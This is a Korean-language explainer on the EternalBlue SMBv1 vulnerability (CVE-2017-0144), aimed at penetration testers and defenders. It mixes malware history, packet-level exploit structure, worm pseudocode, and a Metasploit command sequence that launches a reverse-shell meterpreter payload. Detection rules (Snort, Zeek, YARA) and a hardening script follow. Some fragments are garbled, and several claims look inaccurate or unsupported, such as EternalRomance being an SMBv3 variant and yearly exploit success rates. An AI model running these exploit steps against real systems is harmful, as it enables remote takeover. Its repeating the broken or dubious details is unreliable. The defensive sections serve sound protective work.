
CVE-2017-0144

"하나의 익스플로잇. 수십 개의 악성코드 계열. 수십억 달러의 피해."
CVE-2017-0144는 Microsoft Windows의 SMBv1 서버 구현에 존재하는 치명적인 원격 코드 실행 취약점입니다. EternalBlue로 알려진 익스플로잇이 이 구멍을 악용했으며, 높은 영향력을 가진 공격(특히 WannaCry)에 사용되었습니다.
| # | 악성코드 | 유형 | 최초 발견 | 공격자 | 피해 규모 | 비고 |
|---|
| 1 | WannaCry | 랜섬웨어 | 2017년 5월 12일 | 라자루스 그룹 (북한) | $4–80억 | 킬 스위치: iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com |
| 2 | NotPetya | 와이퍼 (랜섬웨어로 위장) | 2017년 6월 27일 | 샌드웜 (러시아) | $100억 이상 | Mimikatz + EternalBlue + PSEXEC 사용 |
| 3 | Bad Rabbit | 랜섬웨어 | 2017년 10월 24일 | Indrik Spider | 지역적 | 가짜 Flash 업데이트 드라이브바이 |
| 4 | Uiwix | 랜섬웨어 | 2017년 5월 | 알 수 없음 | 낮음 | 킬 스위치 없음, WannaCry보다 은밀함 |
| 5 | EternalRocks | 웜 | 2017년 5월 | 알 수 없음 | 중간 | 7개의 NSA 도구 (DoublePulsar 포함) |
| 6 | Adylkuzz | 암호화폐 채굴기 | 2017년 5월 | 알 수 없음 | 높음 (은밀함) | WannaCry 이전에 모네로 채굴 |
| 7 | Retefe | 뱅킹 트로이목마 | 2017–2018년 | 알 수 없음 | EU 은행 | 측면 이동을 위해 EternalBlue 사용 |
| 8 | TrickBot | 모듈형 악성코드 | 2017–2021년 | Wizard Spider | 전 세계 | EternalBlue를 통해 Ryuk 유포 |
| 9 | Emotet | 로더 | 2017–2021년 | TA542 | 전 세계 | Cobalt Strike 진입점으로 사용 |
| 10 | Clop / Dridex | 랜섬웨어 | 2019–2025년 | TA505 | 의료, 정부 | 2025년에도 여전히 활동 중 |

| 도구 | 출시일 | 기능 |
|---|---|---|
| EternalBlue (원본) | 2017년 4월 (Shadow Brokers) | SMBv1 RCE |
| DoublePulsar | 2017년 4월 | 백도어 임플란트 (ring0) |
| EternalRomance | 2017년 4월 | SMBv3 변종 |
| EternalChampion | 2017년 4월 | 대체 SMB 경로 |
| Metasploit 모듈 | 2017년 5월 | exploit/windows/smb/ms17_010_eternalblue |
| FuzzBunch | 2017년 4월 | NSA 익스플로잇 프레임워크 |
| Impacket + PSEXEC | 2017–2025년 | Python SMB 익스플로잇 |

"하나의 변조된 패킷. 전체 SYSTEM 액세스. 로그인 없음. 클릭 없음."
[공격자]
│
├──▶ 조작된 SMBv1 **Trans2** 요청 전송
│ → `srv!SrvOS2FeaListSizeToNt`에서 **힙 오버플로우** 트리거
│
├──▶ 함수 포인터 덮어쓰기 → **커널 셸코드**
│
└──▶ **DoublePulsar** 백도어 실행 → **Ring-0 페이로드**
(예: WannaCry `mssecsvc.exe`)
| 요구 사항 | 세부 사항 |
|---|---|
| 대상 | SMBv1이 활성화된 Windows (Win10 이전 기본값) |
| 열린 포트 | 445/TCP (또는 NetBIOS로 139/TCP) |
| 인증 없음 | 인증 불필요 — 사용자 이름/비밀번호 불필요 |
| 아키텍처 | x86 또는 x64 (둘 다 지원) |
| 패치 상태 | 패치되지 않음 (MS17-010 이전) |
SMB_COM_NEGOTIATE → 클라이언트가 방언 목록 전송
서버 응답: SMBv1 지원됨 → 진행
이유? SMBv1이 활성화되어 있는지 확인합니다.

\\대상\IPC$ → SMB 파이프를 위한 익명 공유
목적: 트랜잭션 요청을 보낼 세션을 설정합니다.
SESSION_SETUPFEALIST {
SizeOfListInBytes = 0xFFFF (또는 큰 값)
...
}
버그 트리거:
SrvOS2FeaListSizeToNt()가 경계 검사 없이 이 크기를 신뢰합니다.

FEA {
AttributeNameLength = 0x00
AttributeName = "A" * 0x1000 → 버퍼 오버플로우
}
힙 스프레이: 큰 청크를 할당하여 메모리 레이아웃을 제어합니다.
srv!SrvOS2FeaListSizeToNt(
PFEALIST FeaList, // 공격자 제어
PULONG pNtFeaListSize // 출력 포인터
)
{
// FeaList->SizeOfListInBytes 검증 없음
memcpy(dest, src, FeaList->SizeOfListInBytes); // 폭발
}
Free 루틴)KeUserModeCallback 통해)mssecsvc.exe)
0x00120034 XOR 키)Ping: 0x0002C001Exec: 0x0002C002 + 페이로드WannaCry 예시:
EternalBlue → DoublePulsar → mssecsvc.exe → tasksche.exe → 파일 암호화
SMB 헤더
└── 명령: 0x32 (TRANSACTION2)
└── 설정: 0x000E (SESSION_SETUP)
└── 매개변수: TotalDataCount = 0x1000
└── 데이터:
[FEALIST]
SizeOfListInBytes = 0x1100
[FEA #1] NameLen=0, Name="A"*0x1000
[FEA #2] ...
[GROOM x100] → 힙 스프레이
[OVERFLOW] → 풀 덮어쓰기
[SHELLCODE] → x64 ring0
| 도구 | 언어 | 모듈 |
|---|---|---|
| Metasploit | Ruby | exploit/windows/smb/ms17_010_eternalblue |
| Impacket | Python | smbclient.py, psexec.py |
| FuzzBunch | Python (NSA) | EternalBlue-2.2.0 |
| 사용자 C2 | C/C++ | WannaCry, NotPetya |
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.10
exploit
| 아티팩트 | 위치 | 값 |
|---|---|---|
| DoublePulsar | 커널 메모리 | XOR 키 0x00120034 |
| 셸코드 | srvnet.sys 풀 | 0xCC 0x90 0x48 패턴 |
| 주입된 DLL | C:\Windows\mssecsvc.exe | SHA256: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa |
alert tcp any any -> $HOME_NET 445 (
msg:"ETERNALBLUE 시도";
flow:to_server,established;
content:"|ff|SMB2"; depth:5;
content:"|00 04 08 00|"; distance:100; within:4;
classtype:attempted-admin;
sid:1000001;
)
event smb1_transaction2_secondary(c: connection, hdr: SMB1::Header, args: SMB1::Trans2_Secondary_Args) {
if (args$data_len > 4096) {
NOTICE([$note=SMB::Large_Trans2_Data, $conn=c]);
}
}
while (true) {
네트워크에서 포트 445 스캔
if (열림) → EternalBlue 익스플로잇
if (성공) → mssecsvc.exe 드롭 + 확산
Sleep(random(1000, 5000))
}
확산 속도: 전 세계적으로 시간당 ~10,000대 감염.
| 요인 | 이유 |
|---|---|
| 인증 불필요 | SMBv1은 익명 IPC$ 허용 |
| 웜 가능 | 내장 LAN 스캐닝 |
| 커널 RCE | AV/사용자 프롬프트 우회 |
| 레거시 SMBv1 | 15년 이상 기본 활성화 |
| 패치되지 않은 시스템 | 중요 인프라의 XP, 2003, 7 |
| 연도 | 성공률 % (패치되지 않은 시스템) |
|---|---|
| 2017 | 99% |
| 2020 | 85% |
| 2025 | ~60% (레거시만 해당) |
MS17-010이 설치되지 않은 Windows 7/2008 R2에서는 여전히 작동합니다.
EternalBlue = 무기화된 수학 오류
SMB의 신뢰된 크기 필드 → 커널 힙 오버플로우 → 임의 코드 → 글로벌 랜섬웨어 팬데믹
SMB 패킷 → 버퍼 오버플로우 → 커널 셸코드 → DoublePulsar → 악성코드
시각화, 해부, 실전 테스트 완료. 침투 테스터, IR 팀, 방어자를 위해.
"하나의 패킷. 하나의 포트. 하나의 제국이 무너진다."
| OS | KB 패치 | SMBv1 비활성화 | Nmap 스크립트 |
|---|---|---|---|
| Windows 7 / 2008 R2 | KB4012212 | sc config lanmanworkstation depend= bowser/mrxsmb20/nsi | smb-vuln-ms17-010.nse |
| Windows 10 | KB4013429 | PowerShell: Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol | |
| Windows XP (지원 종료) | KB4012598 (긴급) | 레지스트리: HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters\SMB1 = 0 |

rule WannaCry_Ransomware {
strings:
$mz = { 4d 5a }
$s1 = "WannaDecryptor" wide
$s2 = "tasksche.exe"
$s3 = "@WANA" ascii
$encrypt = { 57 61 6E 61 43 72 79 70 74 30 72 }
condition:
$mz at 0 and 2 of ($s*)
}

rule NotPetya_Wiper {
strings:
$pdb = "perfc.dat" nocase
$dll = "dllhost.dat"
$mof = "ntdevmgr.vbs"
$mimikatz = "mimikatz"
condition:
uint16(0) == 0x5A4D and 2 of them
}


rule EternalBlue_SMB_Exploit {
strings:
$smb_negotiate = { 00 00 00 ?? ff 53 4d 42 72 00 }
$tree_connect = { 00 00 00 ?? ff 53 4d 42 75 00 }
$trans2 = { 00 00 00 ?? ff 53 4d 42 32 00 }
$overflow = { 00 04 08 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? }
condition:
all of them
}
| 지표 | 상태 |
|---|---|
| Shodan 노출 SMBv1 | ~120만 (2025년 11월) |
| 활성 익스플로잇 (허니팟) | 매일 |
| 사용하는 랜섬웨어 | Clop, LockBit (레거시 대상) |
| 가장 취약한 분야 | 의료, 제조, 중소기업 |
| 제로 트러스트 해결책 | 445 차단, MFA 적용, EDR |
| 단계 | 기법 | ID |
|---|---|---|
| 초기 접근 | 공개 애플리케이션 악용 | T1190 |
| 실행 | Windows SMB RCE | T1210 |
| 지속성 | DoublePulsar를 통한 백도어 | T1505.003 |
| 측면 이동 | SMB/Windows 관리 공유 | T1021.002 |
| 영향 | 영향을 위한 데이터 암호화 | T1486 |
# === ETERNALBLUE 강화 스크립트 ===
Write-Host "EternalBlue 완화 조치 적용 중..." -ForegroundColor Cyan
# 1. SMBv1 비활성화
Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol -NoRestart
# 2. 포트 445 차단
New-NetFirewallRule -DisplayName "SMB 인바운드 차단" -Direction Inbound -Action Block -Protocol TCP -LocalPort 445
# 3. SMB 서명 활성화
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" -Name "RequireSecuritySignature" -Value 1
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters" -Name "RequireSecuritySignature" -Value 1
# 4. 패치 확인
$patch = Get-HotFix -Id KB4012212 -ErrorAction SilentlyContinue
if ($patch) { Write-Host "패치됨!" -ForegroundColor Green } else { Write-Host "패치되지 않음!" -ForegroundColor Red }
Write-Host "재부팅 필요. 관리자 권한으로 실행하십시오."
| 출처 | 링크 |
|---|---|
| NVD | nvd.nist.gov/vuln/detail/CVE-2017-0144 |
| Microsoft MS17-010 | msrc.microsoft.com/update-guide |
| MITRE ATT&CK | attack.mitre.org/techniques/T1210 |
| CrowdStrike WannaCry 보고서 | crowdstrike.com/blog/wannacry |
| Kaspersky EternalBlue | kaspersky.com/blog/wannacry-ransomware |
| Shodan 검색 | shodan.io/search?query=port%3A445+os%3A%22Windows%22 |
CVE-2017-0144는 죽지 않았습니다 — 레거시 좀비입니다.
다음 환경에서 번성합니다:
- 패치되지 않은 Windows 7/2008
- 섀도 IT
- 에어갭 상태의 중요 시스템
- 잘못 구성된 클라우드 VM
인터넷에서 포트 445에 핑이 간다면 — 당신이 다음입니다.
정밀함, 시각 자료, 실제 위협 인텔리전스로 제작됨. 2025년 11월 업데이트.
침투 테스트 랩, IR 플레이북 또는 CISO 브리핑용.
"패치하세요. 차단하세요. 불로 죽이세요."